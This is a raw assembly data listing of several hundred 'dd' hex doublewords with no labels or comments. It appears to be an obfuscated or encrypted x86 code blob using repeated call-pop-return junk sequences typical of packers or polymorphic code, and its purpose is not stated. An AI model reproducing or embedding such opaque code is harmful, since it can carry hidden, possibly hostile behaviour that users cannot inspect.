		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0F976C352h
		dd 0E5B58910h, 8B07E91Ch, 0E90E559Dh, 6DB5FF07h, 8B07E92Ch
		dd 0E930D99Dh, 3D95FF07h, 0E907E923h, 11Ch, 2EF9BD8Bh
		dd 0B007E9h, 18D59589h,	70E607E9h, 9E8h, 0E5076B00h, 39A9447h
		dd 0BF669685h, 0E95FE6AAh, 0Ch,	0B600B4F1h, 0FF18A2ACh
		dd 1651828h, 0D88A71E4h, 830F613Ch, 0DCh, 7119D33h, 0B60F07E9h
		dd 6D9D8BC8h, 0BA07E930h, 6, 1541BD8Bh,	0C18B07E9h, 0F7E8EB81h
		dd 0E8C144E6h, 0BE904h,	14DB0000h, 3EA10E7Ch, 0A8EE9A81h
		dd 0E2F766B3h, 0F25BD8Bh, 0C82B07E9h, 14E9h, 882E800h
		dd 0E04AE2F9h, 19A5D1D2h, 9B5B8A8Eh, 5DA7B1F3h,	0E9D18BB3h
		dd 0Bh,	72F1DDC2h, 0BF5B6EFDh, 0E910221Dh, 6Ch,	2EF9BD8Bh
		dd 8BF907E9h, 5F4C4C85h, 528AB350h, 119BD31h, 835B07E9h
		dd 816607C0h, 83CDD2F3h, 8B6600C0h, 0FD03BFEh, 983h, 39E9F900h
		dd 0F000000h, 8D8BDABFh, 0FFFFFFFFh, 18C98D29h,	0E18307E9h
		dd 21840F01h, 89000000h, 0E916CD8Dh, 0FFA58307h, 0FEFFFFFFh
		dd 89FAB70Fh, 5F4C4C95h, 2DBD8950h, 0E907E917h,	0
		dd 0CAE3B58Dh, 0F88B07EDh, 7E9006Ah, 9F000000h,	0EB684769h
		dd 95FFBCA9h, 7E90C31h,	0FB6B9h, 0FEB6BB00h, 0E1837C3Bh
		dd 51006AFCh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8BA87EEEh, 0E934399Dh, 6AFC07h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 3C5372C3h, 0FC5B7574h, 95CEFF6h, 0E91D298Dh,	0AD9D0307h
		dd 2B07E90Eh, 2BFD8AC0h, 74DCBFD2h, 33AD38F8h, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 9D8B8AC3h, 7E90FE5h, 16119D33h
		dd 880D07E9h, 0F000000h, 485h, 96BF6600h, 0D958BFCh, 0E907E932h
		dd 6, 8C085FEAh, 8D8B03D8h, 7E922E5h, 1389BD8Bh, 8B5007E9h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 14E8h, 75C11B00h
		dd 0F40DC726h, 0AE749F17h, 0B885454Bh, 874B80D6h, 0C38166F3h
		dd 8B5BA461h, 0E92F3D9Dh, 0FD958907h, 8307E911h, 0E91C2DBDh
		dd 840F0007h, 96h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 17C35747h, 0B8h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0D59DB01h
		dd 522869C6h, 859BD89h,	8D8D07E9h, 7E94D5Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0CEC35646h, 0A1A659E2h
		dd 6AE1FFE6h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0B4F6C353h, 0E89E3D6Fh, 0BD83FD7Bh
		dd 7E922B1h, 0E0840F00h, 0E9000004h, 0Eh, 83381h, 83AAEABAh
		dd 1836D5CAh, 0BD835133h, 7E922B1h, 0DB840F01h,	6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 7B4DC355h, 0BBD635A0h, 0EE9BCB8h,	6000000h
		dd 81BBC537h, 8A5E14EDh, 72FB698Bh, 0FDB5018Fh,	8307E91Dh
		dd 0E922B1BDh, 860F0307h, 45Ch,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0D4C35545h,	558F0858h, 0E1714CC8h
		dd 17119D8Bh, 810F07E9h, 5, 0F9BF0F50h,	8E0F605Fh, 14h
		dd 0CE8h, 0AD99E000h, 0E27565C4h, 157FD26Eh, 5F5B53DFh
		dd 8BD98C66h, 0E909719Dh, 4E18007h, 0FC90AF8h, 15484h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 8B007E16h, 0E9003D9Dh, 55858B07h, 6007E90Ch
		dd 6870Fh, 9D010000h, 7E9013Dh,	0E9853361h, 6607E91Ch
		dd 0FD391BFh, 128Bh, 9E800h, 0EA210000h, 3A15C0EFh, 6666CD7Fh
		dd 905BD88Bh, 0E950D88Bh, 12h, 5DA15F59h, 0E7D4E15Dh, 6B56EAFh
		dd 81C5458Bh, 6A90D8D7h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 96EDC350h, 6810Fh
		dd 0B5290000h, 7E90F05h, 0B58501h, 6A07E9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0CAC35343h, 4B398068h
		dd 840FB3h, 81000000h, 0CA7F2404h, 6A4CD3h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 816652C3h
		dd 8BE681DFh, 0D995FFFBh, 6A07E902h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 3726C355h
		dd 6E8C665h, 0A9000000h, 0F5924D0Ah, 459D8BFAh,	5B07E90Bh
		dd 3591BD8Bh, 858907E9h, 7ECD785h, 34C5BD8Bh, 14E907E9h
		dd 0E9000002h, 9, 0A53FD16Ch, 4B10A967h, 7D858B77h, 6A07ECD7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 4BDFC355h, 1BE75084h, 517EAB9h, 15498D89h
		dd 0C707E9h, 18h, 0EE9h, 36FD0A00h, 0C9535570h,	7893E758h
		dd 8BEA084Dh, 0ECD781B5h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 13CC22Fh, 0E935758Dh
		dd 8BFA8B07h, 0E9185985h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 623013Bh, 0D18D8959h
		dd 0BF07E923h, 41CCC46Eh, 6A0689h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 3BDDDCC3h, 8BFBBF0Fh
		dd 0E90C5585h, 0DFBF0F07h, 6A044689h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0FB5BC357h
		dd 66333754h, 0E830AC0Ch, 0Bh, 2B12D040h, 462BEC3Ch, 29A9E1B8h
		dd 0E90F7585h, 85095B07h, 7E91ECDh, 66525096h, 310FF98Bh
		dd 5E9h, 0F6493800h, 585A3092h,	0FA96BF50h, 0E99667B6h
		dd 14h,	9FD50D2Eh, 0F3478A22h, 59AD0CBDh, 349D069Fh, 11FF97BDh
		dd 0D77DB5FFh, 6A07ECh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 2C8AD9C3h, 1CFBE3C7h, 24E9BD89h
		dd 4E807E9h, 0FF000000h, 0BF001F03h, 5FE52B23h,	0BFDFBF50h
		dd 448B60C3h, 0BB500424h, 2BDFFE58h, 8A008B5Bh,	244489DDh
		dd 0BD2B5804h, 7E90B05h, 0D785858Dh, 0B53107ECh, 7E92685h
		dd 0FBB70F60h, 5061FD8Ah, 7E960h, 0AF180000h, 59977769h
		dd 48961C1h, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0AA0EA38h, 380EF58Eh, 809BD89h, 95FF07E9h
		dd 7E902D9h, 0B998D31h,	816607E9h, 61AA1EF3h, 2A319D89h
		dd 665307E9h, 115CDB81h, 0B185C75Fh, 307E922h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0FDFAC355h, 22DD0DA6h, 9D8B5550h,	7E91191h
		dd 1F759589h, 0BD8307E9h, 7ECD785h, 49840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 3AE6C357h, 0BD035722h, 7E908C9h, 3AE9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 8AE78027h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0FD3C353h, 665B4539h, 0BD83DE8Bh
		dd 7E922B1h, 9C850F03h,	66000004h, 0BD83FA8Bh, 7ECD785h
		dd 8C840F00h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0FFB3C352h,	0C146E21Dh
		dd 8B80DA7Ah, 0E916F1BDh, 6870F07h, 8B000000h, 0E91A199Dh
		dd 85B5FF07h, 6607ECD7h, 0BE6AF381h, 134995FFh,	0BB6607E9h
		dd 8953E7A5h, 0E920719Dh, 0B58B5B07h, 7ECD779h,	0C787C780h
		dd 1000106h, 50006A00h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 7A3DF3C7h, 5E92Eh, 0DA7C0000h, 0E82B47F2h
		dd 0Fh,	2FFA3785h, 0C9C7228Ah, 1BDF55E4h, 663C0E31h, 5BD2B6BBh
		dd 9E95150h, 0C4000000h, 0E7481F52h, 0C8D7B183h, 2434895Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh
		dd 4AC35343h, 3F22D243h, 0DEC8B70Ch, 0C99D23A4h, 0FF07E92Ah
		dd 0ECD785B5h, 7E907h, 3F990000h, 2E832E3Dh, 0B195FF29h
		dd 6A07E91Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0B4CEC350h, 0FB7F927h,	79B58BF5h
		dd 6A07ECD7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 1B7AC351h, 60B3F0C2h, 89D0B70Fh
		dd 0E901418Dh, 858B6107h, 7E92449h, 0C98BBB66h,	1443E381h
		dd 8689079Ah, 0C4h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0E8C35040h, 419D0B58h, 8B07E921h, 0E9320D95h
		dd 7D9D0B07h, 8307E913h, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0C838D9C3h, 76B55ED9h
		dd 8F0FA6A0h, 1, 205089F8h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0FAC35141h, 0A1858DEBh, 6A07ECECh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 6D2AC357h, 3263FEh, 0B88689h, 6AF90000h, 0D8BF0F00h
		dd 0D785B5FFh, 6A07ECh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 95FF10C3h, 7E902CDh, 89D98B50h
		dd 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 9C7C22C3h, 0B59D01EAh, 0FF07E900h, 0ECD785B5h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0E86487E6h, 13h,	9C4B37DCh, 0EF2D64ABh
		dd 0B8DA54Dh, 1620A875h, 0F177682h, 28Fh, 5FB3B300h, 1618589h
		dd 95FF07E9h, 7E9302Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 35C35141h, 0CA5FDCE6h, 0BD838469h, 7E91EC9h
		dd 73840F00h, 0F000000h, 158Fh,	10E900h, 0F0230000h, 2AAC7E0Ah
		dd 6F853206h, 57F24A04h, 8950A945h, 6A2434h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0F508EEC3h
		dd 9E94358h, 6A000000h,	0A05456D5h, 6F941A54h, 20820Fh
		dd 890F0000h, 1Ah, 14E8h, 166B3500h, 0B97AE6ABh, 41753A6Bh
		dd 0EDB1197Eh, 0EA675004h, 0B5FF5FB5h, 7ECD785h, 0CAEB8166h
		dd 9D95FFE9h, 0FF07E91Fh, 0ECD785B5h, 0D858907h, 8107E935h
		dd 0A7A45DFh, 3995FF70h, 6A07E901h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 8427C356h
		dd 0C6C249FCh, 2B52F8D0h, 11FD8589h, 0BD8307E9h, 7E929CDh
		dd 9E840F02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0D289C356h,	2A499D33h
		dd 858B07E9h, 7E90875h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 38C35141h, 70894317h,	0BF66644Eh, 13E9h
		dd 27F45D00h, 440C9EB9h, 0F5F839A8h, 5EE56CC8h,	2EC5D069h
		dd 0AE9h, 0DF359B00h, 0A1B023Bh, 0C6481937h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 86FE46C3h, 8BF273FCh, 0E91BB19Dh, 0AD85C707h, 7E924h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8977C356h, 0E90BFD85h,	95B58907h
		dd 0E907E90Eh, 0FFFFF2E1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 7BC35343h, 10890Fh, 0BE90000h, 0B0000000h
		dd 3F3D560Ch, 4F2CF271h, 0C18BFFB0h, 6E9h, 0D2E9F00h, 0E9229FD5h
		dd 21h,	0D595FD6h, 7 dup(0)
		dd 533E900h, 39D20000h,	0F61AB63Fh, 0A94FE984h,	0A2F25ED7h
		dd 0E238D20h, 0D069C76Eh, 862F4DE0h, 0F479FB2Ah, 28C5B758h
		dd 610C6E8Ch, 0AFEFA2FCh, 61286E65h, 0CAC7512Bh, 286E65CAh
		dd 3290584Ah, 0DFD2A04Ah, 305CC4DFh, 87C7431h, 9F869549h
		dd 2FAB7B09h, 51C3720Ah, 962FB9BBh, 0C62B441Eh,	0CBC65009h
		dd 305BF2CBh, 5F935F45h, 0F8D8541h, 5145AD37h, 6E23BDBBh
		dd 305BF32Eh, 0CDCDBCE6h, 47305BF2h, 6977CF5Dh,	9D1F77DFh
		dd 4E4E4341h, 3F305BF3h, 534A79C3h, 0F2AFE71Ah,	58E13AECh
		dd 6CC45AE5h, 0ED6A448h, 0C400A943h, 0FA94436h,	0B31D90E8h
		dd 0B400DC9Ch, 1007DF5Dh, 749B4DECh, 2DCF6904h,	23ABD165h
		dd 4FD96F09h, 0ADFD98B6h, 0F931FFE3h, 3DE1FCA5h, 54B8305Ch
		dd 679C64B5h, 62DA8431h, 0E8000000h, 0AD2A04Ah,	3E44981Ah
		dd 5CC54B4Bh, 4EDFC530h, 79C8314Bh, 0AB7B098Ah,	5C64B8FAh
		dd 0B25BBD30h, 0C5C2A944h, 305D5D54h, 0EDB7305Ch, 2BFE7B58h
		dd 0E404FCCFh, 1628430h, 40000000h, 8D4A64Ah, 3DBFD67Eh
		dd 2F0B8999h, 0C915678Bh, 0CF17958Dh, 0A7481482h, 48F11DD5h
		dd 7302789Ch, 0A4492BC1h, 39DC781Eh, 786CEF44h,	0C7551A4Dh
		dd 298D657Fh, 12AC7004h, 9D5A74Ah, 2E75297Ch, 4DE3245Fh
		dd 691D31E5h, 5E68B438h, 5C076323h, 61F7AD30h, 2EB873D3h
		dd 17EF91A6h, 9039A58Dh, 3ABBC154h, 22027C9Eh, 26FE8096h
		dd 36E38AB6h, 843197BEh, 3ABAEB73h, 0DD10D8EAh,	48h, 0E3A74AE5h
		dd 45992F49h, 4995E709h, 0B541E80Ch, 0B8700429h, 0F283F91Ch
		dd 75C9B346h, 0E0A0D16Bh, 30305CC4h, 2128672h, 0CBC80h
		dd 0DA38B859h, 3BB68430h, 0C000000h, 9D5A74Ah, 72D2AA4Dh
		dd 28DC7D97h, 44FE7705h, 8D4A64Ah, 5CC53E99h, 0F7811D30h
		dd 5CC4FABAh, 0A0881A30h, 0CC599D3Ch, 0C51B3312h, 289B57A5h
		dd 84315FD8h, 116h, 0A44AAC00h,	0EE36B4ECh, 0C4E1A1D0h
		dd 7133305Ch, 0C5F14DE3h, 0DDF94537h, 981C7539h, 7A9E3A0Ah
		dd 4F413C00h, 0ADD34CAEh, 4436D80Ch, 80913DA9h,	0C55B25CAh
		dd 0A0D16B79h, 305CC4E0h, 0EB867230h, 544DDF48h, 37B5ADD9h
		dd 0DFFB4B59h, 6B2433Dh, 0CBBA8AF4h, 2873AEC9h,	0CE16968Fh
		dd 300C6E82h, 8674157Bh, 9A5CFD17h, 0FEFCFF03h,	0DD739855h
		dd 0B34143A3h, 0BFB95347h, 6709A36h, 3446E874h,	0C21EDAE8h
		dd 0CA1A64F6h, 12276B8Eh, 4C08D46Ah, 1B0CD0AAh,	7C9054F5h
		dd 971368FEh, 9B5729CFh, 0F812D677h, 7252F77Eh,	8C8C1A22h
		dd 133h, 37A0B3D6h, 99ADECA5h, 3F6537B5h, 3341EBE7h, 739A3E7Eh
		dd 6FCBD628h, 4126FE00h, 1426A634h, 9A42D46Ah, 0A32E0A74h
		dd 0A8A9B43h, 5440A83Ah, 96F82C6h, 73AC1898h, 14AAF828h
		dd 0F812BE86h, 0AC87077Ah, 1B892873h, 0A2E2B985h, 5123C9FBh
		dd 0FDD12EC7h, 478B5366h, 75BCFCB5h, 4E542873h,	5AAA1FE2h
		dd 0DF8C1A2Fh, 824C4C45h, 0DEC42873h, 39DF12h, 0B3EB0000h
		dd 19B2DBAh, 6DC5B745h,	5CC53C9Ch, 76CED4B0h, 5CC50F8Fh
		dd 3FDE06B0h, 0DA6CFB0Ch, 5CC507A7h, 75AD0930h,	7BCC61F7h
		dd 8Fh,	1C9C15AFh, 0F4305CC5h, 0B34042AEh, 0ECA537A0h
		dd 37B593F1h, 0B703E3C1h, 2EBCDCA5h, 0BCB2EA59h, 733CC5C5h
		dd 0C7554F28h, 0FA10BC31h, 831AA478h, 0DE845EDh, 2CDD15C9h
		dd 2873B18Fh, 65B93B6Bh, 68B43869h, 0D31DC65Dh,	4A414257h
		dd 677832Ah, 0F18B6B12h, 73AD0080h, 4AC8D828h, 2490584Ah
		dd 96C96416h, 77A0C9Bh,	30664D35h, 7955A9FBh, 715DA1D3h
		dd 0B479FDDh, 0C24995E7h, 4FFFBA2h, 0DB565900h,	75C7BA4Ch
		dd 0BB2877EDh, 0B3FE44E9h, 0ECA537A0h, 384F645Ah, 15D4CBD6h
		dd 54945061h, 5C66BE3Ch, 0E8E438CEh, 13BD3042h,	19A77FF9h
		dd 0DB35D28Ch, 0DC95EDFh, 31B393E9h, 0F74208F9h, 17873298h
		dd 1DD5574Fh, 7E9C48F1h, 0F80989F8h, 990B1DB6h,	0F812920Fh
		dd 0A0021DB6h, 1B316312h, 53FB8559h, 6563C3BDh,	0B6F86C2Ch
		dd 68FEA41Dh, 7EFC1480h, 0AE4F71A6h, 0BCA1D07Ah, 95987162h
		dd 0DD49E47Ah, 5F4E4E43h, 0DCC61DB7h, 0E88AA014h, 0CA314h
		dd 54C30000h, 2C823BD2h, 2137178Bh, 0A14AFBC9h,	0A9430FD7h
		dd 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h
		dd 0CD636FB7h, 0D36753B3h, 685E55A9h, 4D41h, 89242C89h
		dd 4C581E5h, 83000000h,	2C8704EDh, 71685C24h, 8900007Ah
		dd 0F682414h, 89000055h, 0B850241Ch, 5E104438h,	3501E883h
		dd 3E396C61h, 0C5374205h, 58C289A7h, 4EC81h, 24890000h
		dd 24048124h, 4, 4825685Bh, 14890000h, 24048124h, 7CB477A9h
		dd 8108438Fh, 77A9086Bh, 1C8B7CB4h, 0E3895324h,	4C381h
		dd 0C3830000h, 241C8704h, 2434FF5Ch, 4C4815Ah, 0E9000000h
		dd 0FFFB16FAh, 6441B8F0h, 0C50307EEh, 0AB9EE0FFh, 0B2E12918h
		dd 0EBD74308h, 0E6B80DE3h, 79185049h, 54D53B30h, 0E47C6934h
		dd 547952D3h, 0B9BD4B77h, 9ACA1978h, 98CF4775h,	5A1C79E0h
		dd 919C4F84h, 78A614Bh,	26B1613Fh, 858D2E68h, 7E90861h
		dd 169D9D03h, 8A9007E9h, 0F99050FDh, 561FF781h,	6A6C49h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 3CC35242h
		dd 9D896A5Fh, 7E93535h,	858D006Ah, 7EE66D7h, 6AD567BFh
		dd 5C0834Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	51C35242h, 89E31D86h, 6810FD0h,	89000000h, 0E900F19Dh
		dd 0BFBF5007h, 89533739h, 8B662404h, 6A006AF9h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 8A84C353h, 850916E9h, 7E9200Dh, 8B60006Ah, 0E90749B5h
		dd 39852907h, 6107E92Ah, 0FB995FFh, 6A07E9h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 9BB0DC3h
		dd 5F5FD72Eh, 0BD8BC857h, 7E90F41h, 0D72C8D8Dh,	8B6007ECh
		dd 0E92275B5h, 0F19D8907h, 6107E92Fh, 9D89D1FFh, 7E92B41h
		dd 1B69BD83h, 0F0107E9h, 0B085h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 5800F6F7h
		dd 0FDBDAAE4h, 8B669A9Fh, 89026AF8h, 0E90F618Dh, 0D88B9007h
		dd 52506050h, 5E8h, 4B84D400h, 0F5BC5ABh, 0F525031h, 5A585A31h
		dd 0D08B6658h, 12E89061h, 0C3000000h, 96B0301Ch, 0FCC79F60h
		dd 7203B922h, 0FDA4C207h, 0EE8A0h, 0FC7B0000h, 0E9B2D496h
		dd 0E642772Eh, 9CAA3D23h, 9E9h,	0B7AF6600h, 0BB61BC75h
		dd 5B5F1EADh, 2CD95FFh,	6A07E9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8AD623C3h, 0CCEE9D9h
		dd 0E80000h, 5D000000h,	66E1ED81h, 6A07EEh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 484A5AC3h
		dd 74651DA8h, 5FF853FCh, 0B406858Dh, 0F6007ECh,	8D89D0B7h
		dd 7E90335h, 4895061h, 0B9853124h, 6407E912h, 35FFh, 0BD2B0000h
		dd 7E93489h, 258964h, 0B000000h, 0E900E1BDh, 19D8B07h
		dd 0FF07E901h, 0E90F9D85h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 9D3384FCh
		dd 0DB48D3DFh, 9E9E5B6h, 8000000h, 459FEE9Bh, 47A7CBA1h
		dd 0AE9h, 5B558800h, 0BB029B9Ch, 6A45C334h
		dd 0FA8B66FFh, 2279B5FFh, 0F98B07E9h, 233D95FFh, 34E907E9h
		dd 89000001h, 0E92101BDh, 0F00B007h, 68Ah, 0FECB8100h
		dd 0E67BF147h, 659D8B70h, 0E407E931h, 0E7816671h, 613C5F07h
		dd 109830Fh, 0E0B30000h, 52C8B60Fh, 11DD9D8Bh, 0BA5B07E9h
		dd 6, 7541DF81h, 0C18B4C51h, 0E7EF8166h, 4E8C1AEh, 1AEFEF81h
		dd 0BE966EBh, 0E4000000h, 0B5068728h, 9360FAAEh, 0F7662543h
		dd 0E1BD33E2h, 2B07E929h, 18589C8h, 8B07E91Dh, 0FE8D1h
		dd 60B00000h, 0EBD71A29h, 35782B3Eh, 0A9C7421Eh, 5FD98BB0h
		dd 0A2E9h, 11E800h, 14250000h, 1CE6F556h, 0BEB1F805h, 0C7C806E0h
		dd 0FC5254Fh, 684h, 840F00h, 5B000000h,	5E9h, 5412BB00h
		dd 858B6FCCh, 4947554Ch, 8D38166h, 7C0838Eh, 0C6816660h
		dd 8361D177h, 0FE8B00C0h, 830FD03Bh, 14h, 0F5EDF81h, 8D897D5Bh
		dd 7E92269h, 42E9h, 7BEB8000h, 0FFFF8D8Bh, 0DF8BFFFFh
		dd 0F01E183h, 2E84h, 7E800h, 9ECB0000h,	0E61B9E2Eh, 0DBB70F2Ah
		dd 0FFA5835Bh, 0FEFFFFFFh, 0D390D381h, 958901A1h, 4947554Ch
		dd 2C8D9D8Bh, 0E907E9h,	8D000000h, 0EDDA99B5h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0D1600813h, 7126F7CBh, 0B2D9D8Bh, 6A07E9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0DCC35747h, 0EC218E7Eh
		dd 0BE8DEh, 0E97A0000h,	57B10326h, 23ABB93Ah, 0BD9D8B70h
		dd 5F07E92Fh, 16299D23h, 95FF07E9h, 7E90C31h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0BBC35545h, 33B8D88Bh
		dd 9F49E71h, 0E9092DBDh, 10B0B907h, 0B3BB0000h,	835C1BA3h
		dd 8B66FCE1h, 6AFCFBh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0E7C477C3h, 0D3C0BDDFh, 0C02B625Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9BC35141h
		dd 0B858A47Fh, 0FC247B3h, 1C83h, 168D0F00h, 0E9000000h
		dd 11h,	84C9A72Dh, 51ACDBAEh, 0A0298CDh, 0D2AD27E8h, 2BFD8A7Ch
		dd 53006AD2h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 36656761h, 0E999F068h, 6, 0C1C05B59h, 33AD97ACh
		dd 3E8D1C2h, 4E983D0h, 0BD89F475h, 7E91FE5h, 0DDEB70Fh
		dd 88h,	210D9D89h, 958B07E9h, 7E9320Dh,	10E9h, 0A2D3F900h
		dd 7F1F8C5h, 91A4665Bh,	0E386BFFEh, 0E58D8B68h,	6607E922h
		dd 77D7C781h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 0DF8B5818h, 1C2DBD83h, 0F0007E9h, 6184h, 9E900h, 58620000h
		dd 16EEE0D6h, 0B80F7570h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B1C35343h
		dd 0CED787DFh, 6CCB8010h, 0B6DF8166h, 5A8D8D27h, 0E907E94Dh
		dd 13h,	0D3F7EE83h, 0A37E0B20h,	4160984Bh, 0B98BBA03h
		dd 0FF3E627Ah, 0CDE7BFE1h, 0BD831A03h, 7E922B1h, 0ED840F00h
		dd 0F9000003h, 22B1BD83h, 0F0107E9h, 3FA84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 8C89C762h, 0BD834F6Bh, 7E922B1h, 96860F03h, 6A000003h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0FAE7C356h, 4EEF8166h, 6A60A2h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 14708FC3h
		dd 8010D8F3h, 0F8D21EC5h, 6AD98C66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0D6E8C353h
		dd 7771AA30h, 4C873EAFh, 7119531h, 0E18007E9h, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0FC90A1Bh, 10284h, 49B50900h, 8B07E912h, 0E90C5585h
		dd 0E9853307h, 6A07E91Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 5712C353h, 0F85CD7E5h
		dd 0DE95150h, 0F5000000h, 0FE26DA98h, 55542166h, 0A7ACF1CFh
		dd 2404895Fh, 0BE8h, 74238F00h,	27E64E02h, 0F8AC148Bh
		dd 0BB5FFB8Bh, 5B86443Ah, 0B268006Ah, 0BFC7CA10h, 538E131Bh
		dd 4D240481h, 6A3854F3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0C4D5C353h,	2E3CCDCDh
		dd 0FFDEB2Ch, 0BD33FEB7h, 7E90B75h, 2D995FFh, 816607E9h
		dd 89EF1FCBh, 0ECD78585h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 69C78221h
		dd 8BE0191Fh, 5FFC538Fh, 3591B529h, 0C2E907E9h,	6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8BDDC356h, 0ECD77D85h, 0FB8B6607h, 1800C7h
